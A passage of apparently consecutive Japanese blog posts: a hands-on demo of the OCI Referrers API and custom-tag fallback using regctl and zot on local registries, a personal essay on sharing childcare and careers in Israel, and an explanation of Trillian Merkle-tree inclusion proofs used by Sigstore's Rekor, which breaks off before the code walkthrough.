--subject で参照しているOCIイメージを指定しているのがポイントです。

他にも適当にSPDXなどを保存しておきます。

$ trivy image -q -f spdx-json localhost:5001/demo-referrers-2023:app \
         | regctl artifact put --subject localhost:5001/demo-referrers-2023:app \
             --artifact-type application/vnd.spdx+json \
             -m application/vnd.spdx+json \
             --annotation "org.opencontainers.artifact.description=SPDX JSON SBOM"

Referrerの表示

regctl のコマンドでReferrerの一覧を表示できます。以下の例では localhost:5001/demo-referrers-2023:app を参照するOCIアーティファクトの一覧を取得しています。

$ regctl artifact list localhost:5001/demo-referrers-2023:app --format body | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.index.v1+json",
  "manifests": [
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "size": 621,
      "digest": "sha256:799b560abaef3cbb9d4658736078791d1e5b14e15f9192fbea98922754660b65",
      "annotations": {
        "org.opencontainers.artifact.description": "CycloneDX JSON SBOM"
      },
      "artifactType": "application/vnd.cyclonedx+json"
    },
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "size": 606,
      "digest": "sha256:96d2e43b5ebd582ede2d4f69be78cd44c023335f306c854523b5ecbfcd8bd7d7",
      "annotations": {
        "org.opencontainers.artifact.description": "SPDX JSON SBOM"
      },
      "artifactType": "application/vnd.spdx+json"
    }
  ]
}

確かに先程保存したCyclonDXとSPDXのSBOMが表示されています。タグの一覧を見てみます。

$ regctl tag list localhost:5001/demo-referrers-2023
app
sha256-a5cb013fa8479e343bfc8505163a53c68d344813576b6efb602828f34d80843d

自分で保存した app 以外に sha256- から始まるタグが生成されています。これが上の提案3で説明したCustom Tagです。curl でも同じ一覧を取得可能です。

$ curl -sS -H "Accept: application/vnd.oci.image.index.v1+json" http://localhost:5001/v2/demo-referrers-2023/manifests/sha256-a5cb013fa8479e343bfc8505163a53c68d344813576b6efb602828f34d80843d | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.index.v1+json",
  "manifests": [
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "size": 621,
      "digest": "sha256:d76f4e5a298e3e98000220a4295b8c6d0dc3f829f6e3a7af533e3ff02225c13f",
      "annotations": {
        "org.opencontainers.artifact.description": "CycloneDX JSON SBOM"
      },
      "artifactType": "application/vnd.cyclonedx+json"
    },
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "size": 606,
      "digest": "sha256:96d2e43b5ebd582ede2d4f69be78cd44c023335f306c854523b5ecbfcd8bd7d7",
      "annotations": {
        "org.opencontainers.artifact.description": "SPDX JSON SBOM"
      },
      "artifactType": "application/vnd.spdx+json"
    }
  ]
}

先ほどと同じリストが返ってきています。 regctlレジストリがReferrers APIに対応していないことを検知してCustom Tagに切り替えたということです。

Referrers API

今度はReferrers APIに対応したOCIレジストリを使います。zotというOSSのOCIレジストリがあるのでこちらを使っていきます。

github.com

OCIレジストリのセットアップ

なぜか zot 自体のイメージはOCI Image Indexに対応してなさそうだったので自分のアーキテクチャに合ったイメージを選択します。今回は ghcr.io/project-zot/zot-linux-arm64 を使っています。先程同様にTLSを無効にしておきます。

$ docker run -d --rm --name reg2 --label demo=referrers -p 127.0.0.1:5002:5000 ghcr.io/project-zot/zot-linux-arm64:latest
$ regctl registry set --tls=disabled localhost:5002

イメージのコピー

先程Custom Tagの検証で作ったローカルのイメージからコピーします。このとき、 --referrers を付けることでReferrersも同時にコピーしてくれます。今回のレジストリはReferrers APIに対応しているため、zotはそれを検知して localhost:5001 のCustom TagからReferrersを取得して localhost:5002subject を付与したOCI ImageとしてReferrersを保存してくれます。

$ regctl image copy --referrers localhost:5001/demo-referrers-2023:app localhost:5002/demo-referrers-2023:app

Referrerの表示

Custom Tagの検証とは異なり既にReferrersは保存されているので確認します。

$ regctl artifact list localhost:5002/demo-referrers-2023:app --format body | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.index.v1+json",
  "manifests": [
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "size": 621,
      "digest": "sha256:d76f4e5a298e3e98000220a4295b8c6d0dc3f829f6e3a7af533e3ff02225c13f",
      "annotations": {
        "org.opencontainers.artifact.description": "CycloneDX JSON SBOM"
      },
      "artifactType": "application/vnd.cyclonedx+json"
    },
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "size": 606,
      "digest": "sha256:96d2e43b5ebd582ede2d4f69be78cd44c023335f306c854523b5ecbfcd8bd7d7",
      "annotations": {
        "org.opencontainers.artifact.description": "SPDX JSON SBOM"
      },
      "artifactType": "application/vnd.spdx+json"
    }
  ]
}

先ほどと同じ一覧が取得できています。ではタグ一覧を見てみます。

$ regctl tag list localhost:5002/demo-referrers-2023
app

今度はCustom Tagがありません。それにも関わらずReferrersが取得できています。これは regctl が内部でReferrers APIに対応していることを検知してそちらを利用しているためです。

$ curl -sS -H "Accept: application/vnd.oci.image.index.v1+json" http://localhost:5002/v2/demo-referrers-2023/manifests/sha256-a5cb013fa8479e343bfc8505163a53c68d344813576b6efb602828f34d80843d | jq .
{
  "errors": [
    {
      "code": "MANIFEST_UNKNOWN",
      "message": "manifest unknown",
      "description": "This error is returned when the manifest, identified by name\n\t\t\tand tag is unknown to the repository.",
      "detail": [
        {
          "reference": "sha256-a5cb013fa8479e343bfc8505163a53c68d344813576b6efb602828f34d80843d"
        }
      ]
    }
  ]
}

先ほどと同じようにcurlしてみても返ってきません。

Referrers API

/manifests ではなく代わりに /referrers を叩いてみます。これがReferrers APIです。

$ curl -sS -H "Accept: application/vnd.oci.image.index.v1+json" http://localhost:5002/v2/demo-referrers-2023/referrers/sha256:a5cb013fa8479e343bfc8505163a53c68d344813576b6efb602828f34d80843d | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.index.v1+json",
  "manifests": [
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "size": 621,
      "digest": "sha256:d76f4e5a298e3e98000220a4295b8c6d0dc3f829f6e3a7af533e3ff02225c13f",
      "annotations": {
        "org.opencontainers.artifact.description": "CycloneDX JSON SBOM"
      },
      "artifactType": "application/vnd.cyclonedx+json"
    },
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "size": 606,
      "digest": "sha256:96d2e43b5ebd582ede2d4f69be78cd44c023335f306c854523b5ecbfcd8bd7d7",
      "annotations": {
        "org.opencontainers.artifact.description": "SPDX JSON SBOM"
      },
      "artifactType": "application/vnd.spdx+json"
    }
  ]
}

正しく取得できています。ではSBOMのOCIアーティファクトを見てみます。

$ regctl manifest get localhost:5002/demo-referrers-2023@sha256:e1fc5a3c972970f2bd77cbb3cc3d16199f4db566dbfb806bb5f6eba89373ea34 --format body | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.manifest.v1+json",
  "config": {
    "mediaType": "application/vnd.cyclonedx+json",
    "size": 2,
    "digest": "sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a"
  },
  "layers": [
    {
      "mediaType": "application/vnd.cyclonedx+json",
      "digest": "sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    }
  ],
  "annotations": {
    "org.opencontainers.artifact.description": "CycloneDX JSON SBOM"
  },
  "subject": {
    "mediaType": "application/vnd.oci.image.manifest.v1+json",
    "size": 1024,
    "digest": "sha256:a5cb013fa8479e343bfc8505163a53c68d344813576b6efb602828f34d80843d"
  }
}

mediaTypeconfiglayers などの既存のフィールドに加え subject が追加されていることがわかります。これが提案2です。ということでReferrers APIも無事に検証できました。

OCI Artifact Manifestについて

今回の検証では提案1のOCI Artifact Manifestについては触れませんでした。というのも、今絶賛揉めているのがこのOCI Artifact Manifestだからです。

github.com

先述したようにGoogleの人達があとからやってきて「要らん!!」と言っています。あとから来て横暴だなーと思って見ていたのですが、正直自分も今回触ってみてOCI Artifact Manifest要らんくね...?となったので削除したくなる気持ちもわかります。しかしそれは仕様策定時にやるべき議論だよねというのも分かりますし、やはり大人数での議論は難しいなと感じています。

まだ結論は出ていないようですが、一旦削除してOCI Distribution Spec 1.1を出してから考えようという流れに見えます。なので一旦OCI Artifact Manifestについては忘れて生きています。元々OCI Image Manifestという名前の通りコンテナイメージのたに作られたものをアーティファクト全体に拡張したために仕様があまり美しい状態ではなく、それを受け入れるかどうかという議論な気もします。

その他

他にもReferrers APIでは artifactType でのフィルタ機能が提供されたりします。SHOULD なので提供されていない場合もありますが、提供されている場合は /v2/<name>/referrers/<digest>?artifactType=<mediaType> でReferrersのフィルタが可能です。

distribution-spec/spec.md at acfc11dad63159052f98dd9afab04adf59e6ed8f · opencontainers/distribution-spec · GitHub

そして元々の提案ではフィルタされた場合は annotationorg.opencontainers.referrers.filtersApplied を入れることになっていました。

github.com

HTTPリクエストのクエリに応じてマニフェストに変更が加わるの気持ち悪いな...と思っていたら後で削除されHTTPヘッダに入れるように変更されていました。

github.com

要所要所でこういう「ん...?」な仕様があるので、確かにこれはあとからでも直したくなるなーと眺めています。

まとめ

まだ議論中ではありますが、OCI Reference Typesはサプライチェーンセキュリティの向上に寄与することが期待されていますし嬉しい仕様追加です。

子育てと家族のキャリア

技術的なことばかり言ってたのに歳をとって急に子育てとか言い出す恒例のアレです。

子育てで勉強時間を取れず悩むソフトウェアエンジニアは多く御多分に洩れず自分もそうだったのですが、家族全体でキャリアを考えることで最近はそういった悩みも減ったので書いておきます。勉強時間を増やすためのハックとかではありませんし家族の性格にもよるので参考にはならないとは思いますが、こういう角度での記事をあまり見たことがなかったので一応残しておきます。

また書いている内容は我が家についてであって、他の家族がどうするべき、などの意見は一切含みません。

結論

最初に結論だけ書いておくと、妻が個人事業をすることでその事業の成長を見るのが楽しみになり、自分が家事育児に追われている間も妻が働ければ家族トータルでは成長できているなと思えて自分単体の成長では悩まなくなりました。

背景

現在イスラエルに住んでおり子供を1人育てているのですが、親は日本にいるため気軽に頼ることもできず夫婦2人で育てています。海外かつ日本人の少ない国ということもあり、日本とは勝手が違い普通に子育てするよりかなり多く時間を取られている実感があります。日本のように子育て便利グッズがなかったり、こちらで国民IDを持っていないので病院の予約も手間だったり、などなど。

そして他の多くのブログでも語られるように勉強時間が減り苦しむわけです。中には以下のような猛者もいるわけですが、超人の例を見ても仕方ないので一旦忘れます。

k0kubun.hatenablog.com

パートナーが専業主夫・主婦で全てやってくれる家庭もあるのかもしれませんが、一般的には子育てをどちらか一方が全面的に負担するのはかなり大変で、持続可能な子育てのためには夫婦で分担する必要があると考えています。何とか回っているように見えても「旦那が育児を全くやってくれない」などとSNS上で愚痴をこぼす人も散見されます。

うちの場合はお互い育児がやりたくないわけではなく、子供との時間は増やしたいと考えていました。子供の小さい時期というのは貴重で可能ならずっと遊んでいたいけれど、仕事もしないと生きていけないというジレンマです。もっと子供と遊ぶ時間が欲しい、でも仕事や勉強をする時間も欲しい、というよくある話です。

やったこと

上記の前提でやったことを書いていきます。

妻の職探し

イスラエルへの引っ越しにあたり妻は仕事を辞めることになったのですが、我が家では共働き必須だったので仕事を探すことにしました。理由としてはまず上に書いたように、我が家ではどちらかが家事育児を全て負担するのは難しそうだったという点。あとはそもそも妻が仕事をしたがっているという点。そして最後に経済的にお互い自立しておく方が関係性が悪化した時に別の道を歩む選択肢を取りやすいという点です。旦那が嫌になったものの経済的理由で離婚できない人などを見ることがあり、それはお互い辛そうなのでいつでも離れられるけど一緒にいるという関係を保つためにもお互い稼ぎがある方が個人的には良いと考えています。繰り返しになりますが、これはうちの家庭の話であって他の家庭がどうこうではありません。

短期的には自分が副業の時間を増やす方が実入りは多いのですが、長期的に見ると自分が怪我で働けなくなるリスクもありますし所得源泉を分散しておく方が良いと考えています。

ということで職探しをするのですが、旦那は雇われのサラリーマンで比較的安定しているので(現在は不況でレイオフが続いており実際には安定していないのですが当時は能天気だった)リスクを取れる仕事ができるという利点を活かしたらどうかという話になりました。正社員は決まった時間で働く必要があり大変ですが、個人事業主であれば裁量がありますし万が一当たればリターンは大きいです。その中でも色々と考えYouTubeを始めることにしました。収益化できるチャンネルですら上位10%しかいない狭き門ですが、妻は動画編集やサムネイル作成などが好きということもあって向いていそうだったのでとりあえず始めてみることにしました。

またイスラエルで当時妻は労働ビザを持っていなかったこともあり、収益がしばらくないのも好都合でした。条件を満たさないと収益化出来ないのでしばらくはタダ働きです。収益化できるぐらいチャンネルが伸びたら考えようということで問題を先送りにしていました。ちなみに今はこちらで労働ビザも手に入れて個人事業主を開業しています。

保育園の利用

これは家庭によって色々と考えがあると思いますが、うちでは1歳から保育園を利用することにしました。最初家で育ててみたところ、仕事も捗らず子供もテレビを見せるだけで遊んであげられない時間も多く、親子どちらにとっても中途半端になっていました。むしろ保育園に行っている間は全力で仕事をして、帰ってから全力で遊んであげるほうがメリハリついて良さそうということで保育園に通わせることを決めました。またせっかく海外にいるので異文化に触れたほうが子供の成長にも良さそうというのもあります。

そもそもイスラエルでは共働きが基本なので保育園やベビーシッターの利用が当たり前です。1歳未満でも保育園に入れる家庭が多いです。お互いキャリアがあるのでどちらかが専業するという考えはあまりないようです。女性にも必ず「仕事何してるの?」と聞きますし(専業主婦という考えがない)、銀行で自分の口座に紐付けて妻のクレジットカードを発行したいと言ったら「奥さんの給与用口座がないケースは少ないから特殊な設定が必要」と言われて驚きました。

保育園代は月20万円もするので生活は苦しくなりますが、こちらの保育園は朝食も出してくれて7:30-17:00まで見てくれるのでその点は良かったです(それでも高いですが)。金銭的には共働きで何とかカバーしつつ空いた時間の稼ぎが保育園代を上回れば良いなという楽観的な考えでした。

家事・育児の分担

妻の仕事はしばらく利益は出ないものの、うまくいけば場所時間を問わずリターンが得られる大きな可能性を秘めた仕事です。そういった仕事を頑張ってもらえるのは期待が持てて楽しいですしもっと多くの時間を使ってほしいと思ったので、家事・育児はなるべく均等に分担しました。最初は雰囲気で分担していたのですが、何となくお互い自分のほうがたくさんやっていると不平等を感じてしまいがちなのでルールを決めました。朝の犬の散歩する人と子供を保育園へ送る人は毎日交代する、一方が料理している間にもう一方が子供を風呂に入れる、などです。しばらく運用していたら自分のほうが料理の適性がありそうなので最近は自分が料理担当で固定されつつありますが、その分寝かしつけをやってもらったりなどやはり平等にやっています。在宅勤務だと昼夜作ったりするので週に12回ぐらいは料理してると思います。

気付いたこと

朝6時過ぎに起きても犬の散歩行って少し運動して朝食作って〜とやっているとあっという間に時間がなくなりますし、夜も子供迎えに行って夕飯作って寝かしつけて犬の散歩行って〜とやっていると一瞬で寝る時間になります。最初は寝かしつけの間にAudibleを活用したり色々と工夫してみたものの、無理に詰め込むより育児を楽しもうということでやめました。

そして自分で使える時間が減ったわけですが、妻のYouTubeが伸びていくのを見るのが楽しいことに気付きました。もちろんまだチャンネル登録者数1万人程度で自分が副業する方が大きく稼げる状態ではあるものの、毎日数値として成長が見えるのはわくわくします。ベンチマークとってパフォーマンス改善したり監視でメトリクスを見るのが好きな人には分かってもらえるんじゃないかと思います。サラリーマンとして必死に働いても昇給はたかが知れている中で、工夫次第で際限なく伸びていくビジネスを横で見ていると、自分ひとりの成長で悩んでいたのは視野が狭かったなと気付きました。今では妻はこちらの語学学校で働いたりもしていますが、これも将来自分で教室を開きたいのでカリキュラムを学びたいということで将来のビジネスのためにやっています。

このように家族全体での成長を考えるようになってからは自分の時間が減ることについて焦りを感じなくなり、むしろ積極的に子供の世話をするようになりました。自分が頑張ればその分パートナーの時間が増えるのでどう転んでも家族トータルではプラスになるという考えです。ただ最近では妻が朝子供を起こしに行くと親父を連れてこいと怒るぐらいになりましたし、二人で保育園に迎えに行っても自分の方に走ってくるので少し頑張りすぎた感もあります。昔はパソコンを触る時間をいかに長くするかという思考しか持ち合わせておらず、人を育てるということができるのか不安でしたが人間変わるものです。

お互いサラリーマンだとこうは行かなかったような気がしています。もちろん大きなプロジェクトを成功させたとか昇進したとか様々な節目はあるとは思いますが、短気な人間としては日々の成長が可視化されるのは大きいです。個人事業だと売上が毎月増えていくとかYouTubeだとチャンネル登録者数が増えていくとか、分かりやすいのが良いです。安定した給料が入るわけではないので売上が下がる月もあると思いますし当然大変ですが、片方がサラリーマンならそういうリスクも多少緩和されます。自分にある程度の稼ぎがあるおかげでしばらく無収入でも耐えられるというのが前提としてあることは理解していますが、個人事業をやる以上は初期に大小違えど痛みを伴うのは仕方ない気がしています。稼ぎのない時に毎月20万円を払うのは当然大変でした。

他に当たり前だけど改めて気付いたこととして、自営業だと休みを割と柔軟に取りやすく(お客さんありきの業種だとそうはいかなさそうですが)旅行に行きやすかったり、子供が風邪引いたときに家で面倒見たりできるというのもあります。

そして分野は違っても隣で頑張っている人を見ると刺激をもらえて良いのですが、そうすると今度は自分もやっぱり時間欲しいと思ったりしてその辺の若干の塩梅の悪さは今後の課題です。

まとめ

家族の形は様々なので他所についてどうこう言うつもりはなく、今のところ我が家はこの形でうまく回っているという話でした。今後やっぱり共働きサラリーマンこそ最高となるかもしれないですしまだまだ模索中です。

あと安定した時間の確保は難しいですが、短期的には睡眠を削って業務外で脆弱性の解析したりOSS作ったりとかはしてます。そして業務に必要な知識は業務中に身につけることにしているので2022年もKeyless Signingについて誰も読まないブログを書いたりWasm対応をガチャガチャやったりはできました。

curlでKeyless Signingする (6) - Trillian編

はじめに

前回のVerify編でRekorから返されたtlogの検証を行いましたが、そのうちTrillianに関連する部分はスキップしました。今回はそのTrillianに関しての記事です。Keyless Signing連載の最後です。

Rekorはドキュメントで以下のように書いています。

Rekor aims to provide an immutable, tamper-resistant ledger of metadata generated within a software project’s supply chain.

docs.sigstore.dev

このimmutable, tamper-resistant ledgerの部分はTrillianによって実現されています。まずこのTrilianの概要を見ていきます。

Trillianとは

Trillianは「改ざん不可能なログシステム」を提供できると謳っているOSSであり、概要は以下がわかりやすいです。

gigazine.net

Merkel Treeを用いておりCertificate Transparency (CT)で使うためにGoogleにより開発されたようです。CTで使われていることからも分かるようにログシステムの構築に使えます。Trillianでは追加のみ可能で改ざん耐性が高くなっています。Merkle Treeはビットコインなどでも利用されているため知っている人も多いと思います。

以下にドキュメントがありますが、短くまとめられていて簡単に読めるので興味がある人は一読をおすすめします。

transparency.dev

Trillianの良い点として「既存のシステムにも簡単に導入できる点」「スケール可能である点」「オープンソースである点」、そして「Googleによって開発されている点」を挙げています。自分で「Googleによって開発されている点」が良いと言うのはなかなか凄いですね。くりぃむしちゅー上田の「だって俺だぜ」を彷彿とさせます。最近だとStadiaの件もあり、いきなりメンテナンスやめちゃうのかなとむしろ不安になりそうではありますが、何にせよRekorではこのTrillianをバックエンドとして採用しています。

Verifiable Data Structures

Trillianにおいてデータをどのように検証するのかについてドキュメントで説明されています。

transparency.dev

すべてのログレコードはMerkle Treeのリーフとして追加され、ハッシュ値が計算されます。以下の図だと①-④それぞれのハッシュ値がA, B, D, Fとなっています。

そしてAとBを使って新しくハッシュ値を計算しCを作ります。同様にDとFからGを作ります。同様にして2つのハッシュ値をまとめ上げていき、最終的にTree head hashであるHが作られます。

説明しておいてなんですが単なるMerkle Treeです。知らない人はググれば山ほど出てくるので見てみてください。かくいう自分も忘れてて勉強し直したりしたので記事内でも「正しいか不安」みたいなことを何度も言っています。有識者のフィードバックを得たいというのも記事を公開する目的の一つなので、何か不正確な記述があれば教えていただけると助かります。

Tree head hash

リーフの値が改ざんされればTree head hash(上の図のH)の値が変わるため検知可能です。Tree head hashは他にもTree head, Root hash, Merkle tree hashなどと呼ばれたりもします。

Signed tree head

ですがこのTree head hashが改ざんされたら元も子もないです。リーフの値を改ざんし、Tree head hashを再計算してその値をセットすれば検証を不正に通すことが可能なためです。そこでTrillianではこのTree head hashに秘密鍵で署名します。これをSigned tree hash (STH) と呼びます。

ドキュメントで以下のように書かれているように、クライアントはまずこのSTHをTrillianの公開鍵で検証する必要があります。それまでこのSTHは信頼するべきではないです。

Before trusting a tree head hash from Trillian, clients verify it using a public key that's typically published separately, depending on the application.

この検証によって信頼できるTree head hashを得ることが出来て、次で説明するInclusion proofの計算が意味のあるものになります。というのが自分の理解ですが、Cosignでは現状STHの検証を行っていません。RekorのレスポンスにSTHが含まれたのも最近です。

github.com

自分の理解が正しければこれはセキュリティ上よろしくないのではないかと思っています。誰か詳しい人がいたら教えて下さい。

Inclusion proof

クライアントはログレコードを入手後、Trillianにinclusion proofを要求する必要があります。ドキュメントにある以下の例を見てみます。

②のレコードを得たときのinclusion proofの計算は以下です。

  1. ②のハッシュを計算しBを得る
  2. Tree head hashを計算するために必要なAとDを要求する
  3. AとBからCを計算する
  4. CとDからEを計算する
  5. Eと別途得たtree head hashを比較する

この検証を通れば②は確かにEをheadとする木に含まれるログレコードであることが分かります。これまた普通のMerkle Treeという感じなので特に難しくはないと思います。ブロックチェーンSPV(Simplified Payment Verification)もほぼ同じと理解していますが、あまり詳しいわけではないので間違っていたらすみません。

TrillianのドキュメントにはFull auditなどの説明もありますが、Cosignで行われる検証を理解するにはここまでの概要を知っておけば大丈夫です。

検証方法

以下ではKeyless Signingで行われる検証を見ていきます。

Inclusion proof

前回の記事 で見たRekorのレスポンスに inclusionProof というJSONフィールドが実は含まれていました。

$ jq -r '.["24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c"].verification.inclusionProof' tlog.json
{
  "checkpoint": "rekor.sigstore.dev - 2605736670972794746\n581074\nBriWiM7dZr7prBLkpV+jMbqK0pzRvewwGFZfT7aCuIo=\nTimestamp: 1665306326592902697\n\n— rekor.sigstore.dev wNI9ajBFAiAq5Q68+U4+c7f+aIFC7WKsMRcYLHifitu0qLtjKQfCxQIhAPBFWBiz3nzlTazlVeOnM8JXrVwhykS0L1mXCeZ8qn09\n",
  "hashes": [
    "cc1a15893df16a2d596e03a42ac6ce6b98cf8cf86be3910bdd36223833689a85",
    "afec120963813d296b5820c20f899600540788dff18dc924f4dd557e04bdde45",
    "608be1e81cb15ac09f18eec8bbe0b37dd26fac8dab63883930a52e072459febd",
    "78049d975ede977b9e88b2d634edcedfb81f29b4e03dee144e30a52588cfba61",
    "3ea8b7e6f1db53f92f5079b9d08adc2edeb1be59d3f98b4f3c64c42e3c5669f8",
    "b2c166358bb5b4463aa261b199eb24678427c3dc59fe6fc2366bebf4d9b47bdd",
    "32004cfb7313c04b7ba472f660d4be9d5b0833014d53db150e1f77dc8159cdca",
    "b09bd5323de0eb0c83886b9127f091b712b555e3c67bcea80b5cc3f82b45c32a",
    "b0e41deda57b9e11b5bb5027004e34c7b22e0f36d1a9fabe4cbbb1019fb8d19c",
    "7799f078ae51c03583b31b0d6db843451d215f39b2d1adc14fc27abf4d18de98",
    "1d5eef2fc091b35fa481948f99fd66fcad99ac6ec8935073e093b9bbc238ed59",
    "26e30b1796943964266f3d0ebe8bb07fb2c4643b4b484aa491e2fd0141b2719b",
    "19714fb6b7db3e6f6d2036fac7667e78b7faf36b3a6dcddac6d04085df49fd06",
    "dbf30f96aa4c47533bb57d4bb3e9c8d5dc52c36a66fe3691968bbb858cdb9435",
    "e4560d2e44c7afdfafb28772f57fc932ab0c7fe5fee196bdd569f895e4227f61"
  ],
  "logIndex": 580670,
  "rootHash": "06b89688cedd66bee9ac12e4a55fa331ba8ad29cd1bdec3018565f4fb682b88a",
  "treeSize": 581074
}

hashes が上で説明したtree head hashを計算するために必要なinclusion proofです。そしてtree head hashは rootHash として含まれています。今回は 06b89688cedd66bee9ac12e4a55fa331ba8ad29cd1bdec3018565f4fb682b88a になっています。統一するために以下ではroot hashと呼ぶことにします。

ハッシュ計算

TrillianはCTに使われていることから、CTについての仕様を定めたRFC 6962に沿って実装がされています。この中にMerkle Treeのリーフとノードのハッシュ値の計算方法が書かれています。ログレコードが4つの場合の木を書きました。このA-Dがリーフ、hA-hDがリーフハッシュ、hAB, hCD, hABCDがノードです。

RFCは以下です。

www.rfc-editor.org

Leaf hash

リーフハッシュの計算は以下で定義されています。

MTH({d(0)}) = SHA-256(0x00 || d(0))

要は元のデータの先頭に 0x00 をつけてハッシュ計算すれば良いというだけです。前回の記事で 0x00 をつけて計算したのはこれが理由です。

Node

node hashという表現はRFC内に見つけられなかったのでノードがハッシュ値のことを指すと思うのですが、the hash calculations for leaves and nodesのような表現もあったりして少し怪しいです。

ノードのハッシュ値の計算方法は以下です。kはn未満の最も大きい2のべき乗です。つまり k < n <= 2k を満たします。nが8だったらkは4ということになります。

MTH(D[n]) = SHA-256(0x01 || MTH(D[0:k]) || MTH(D[k:n]))

難しく見えますが、先頭に 0x01 をつけた上で左側の部分木のroot hashと右側の部分木のroot hashを結合してハッシュ計算しているだけです。つまり上の例で言えば 0x01, hA, hB の順番にバイト列を並べてSHA256でハッシュします。シンプルです。

logIndex

では具体的な実装方法について考えてみます。基本はinclusion proofに含まれるハッシュ値とくっつけてハッシュ計算していけばよいだけですが、inclusion proofを左側に置くのか右側に置くのかは重要です。

リーフが8つの場合で考えてみます。

このうちFのレコードについて考えてみます。root hashを計算するまでの手順は以下です。

  1. Leaf hashを計算する( hF
  2. hE を左に繋げてnodeのハッシュ計算をする( hEF
  3. hGH を右に繋げてnodeのハッシュ計算をする( hEFGH
  4. hABCD を左に繋げてnodeのハッシュ計算をする( hABCDEFGH

これでroot hashを得ることが出来ます。inclusion proofには hE, hGH, hABCD が含まれます。見れば分かる通り、最初はinclusion proofを左に繋げ、次は右、最後は左、という順番になっています。繋げる方向を間違うと当然正しいroot hashは得られません。これをどうやって得るかという話になりますが、これはindexのビットを見れば分かります。indexですが、Aを0としてHを7とすればFは5になります。5を2進数で表すと 101 になります。これはtreeのrootからどちらに進めばよいかを表します。最初は1なので右、次は0なので左、最後は1なので右になります。計算順序的には下からなので最下位ビットから見ていけば良いです。プログラムに落とし込むなら1ビットずつシフトして1とANDを取れば左右が分かります。F(index=5)の 101 を縦に書いた場合の図を載せておきます。

各ビットの値と左右が一致しているのが分かります。二進数と二分木の対応を考えたらそれはそうという感じではありますが、最初 logIndex をビットシフトするプログラムを見たときは少しの間「何で??」となったので勉強不足で恥ずかしい限りです。大学の方角に足を向けて寝られません。

完全二分木でない場合

上の方法でリーフからroot hashの計算方法が分かったと思いきや実は不十分です。木が完全二分木でない場合があるためです。

概要

ここから先の内容はソースコードから読み取った自分の理解をただ書き記したものなので間違いがある可能性があります。そして若干複雑ですしうまく解説できる気もしません。多分ほとんどの人が読む必要のないパートです。

まずリーフが7の場合を見てみます。ここで木の各階層のことをレベルと呼ぶことにします。Merkle Treeの説明でそう呼ばれていたので倣っています。リーフのハッシュ値はレベル0です。

図を見ると分かるように、Gは結合する相手がいないのでそのまま hG が持ち上がり、 hEF と結合されます。Gのindexは6なので二進数では 110 ですが結合は2回だけですし最下位ビットの0を見て右と結合すると判断してしまうと誤りです。そのため、indexを見て結合する方向を決めるべきレベルと、右側の部分木が存在しないために常に左側と結合するべき(または結合が不要な)レベルを区別する必要があります。前者を inner 、後者を outer と呼ぶことにします。 outer は勝手な造語です。

一旦リーフが8の場合を考え直してみます。このときGに着目すると、Level 1までは右側の部分木が存在し得るので左右の判定が必要ですが、Level 2以降は常に左側の部分木しかないため左右の判定をせずに結合可能です。

つまりGに着目すると inner = 1, outer = 2 になるということです。Fに着目すれば inner = 2, outer = 1 になります。下の図ではリーフハッシュの計算はもう省いていますが基本は上と同じです。

改めて言うと、 inner は右側に部分木があるレベル帯を指します。FはLevel 0とLevel 1の時点ではどちらも右側に部分木が存在しています( hGH を頭とする部分木)。そのため2つのレベルで右側に部分木があるということで inner = 2 となっています。このとき、結合する方向は関係ないです。 hFhE を左側に結合していますが、 inner の計算には影響しません。

リーフが8の場合は完全二分木だったので、 inner などややこしいことを言わずとも計算可能でした。そうではないリーフが7の場合に戻り、再びGに注目します。Hは存在しませんがわかりやすさのために点線で書いています。

このとき、 hG の右側に部分木は存在しないため inner = 0 になります。逆に outer は3となります。この inner のレベルまでは上のindexをビットシフトしていく方法で左右の判定をして結合し、 outer のレベルでは左側と結合・もしくは結合しない、という処理を行うことで完全二分木ではない場合にも対応可能になります。

outer における

  • 左側と結合する
  • 結合しない

の判定ですが、これは簡単で同様にindexのビットを見ればよいです。ビットが立っている場合は左側と結合、立っていない場合は結合不要になります。結合が不要な場合はそもそも結合相手のハッシュ値がinclusion proofに含まれないので、もっと簡単にビットが立っている回数分だけ左側と結合すれば良いということになります。

Gのindexは6で 110 なので、outerレベルにおいて立っているビットは2つです(上の図の緑のところ)。つまり2回左側と結合すればよいです( hEFhABCD との結合)。0の部分は結合不要です( hG はそのまま hG )。途中から面倒になって結合と言っていましたが、結合したあともちろんハッシュ計算が必要です。この常に左側と結合する回数のことを border と呼ぶことにします。これはソースコード上の変数名から借用しているのですが、 border という名前的にもう少し違うイメージなのかもしれません。自分ではうまく視覚化出来なかったので一旦これで勘弁してください。

ここまでで innerborder さえ求まればroot hashが計算できるようになりました。では inner の求め方を考えます。先ほど説明したように右側に部分木が存在するかどうか、なので木における一番右側のリーフのパスに着目すれば求められそうです。言葉だと分からないと思うので、図を見てみます。リーフが6の木を考えます。このとき、右端のリーフはFになります。これをrootから辿ると右→左→右になります。

ではEに着目します。Eをrootから辿ると右→左→左になります。このとき、図ではLevel 1→0の時点でFと分離します。このFとパスが重ならなくなった地点までのレベルが inner になります。この図におけるEの inner は1ということになります。右端のリーフであるFのパスと分離してしまったので、Level 1以下はEのパスより右側に部分木が存在します。

同じ木でDに着目してみます。図を見れば分かるようにLevel 3の時点でいきなり袂を分かっています。つまりDのパスにおいては常に右側に部分木が存在するため inner = 3 になります。

こうして inner を求めることができれば、 inner より上のレベルの中で立っているビットを数えれば border は簡単に求まります。

計算方法

上では図での概要理解に努めていましたが、ここでは実際のプログラムを見つつ計算方法を確認します。Merkle Tree用のライブラリが提供されているのでそちらを参照しています。

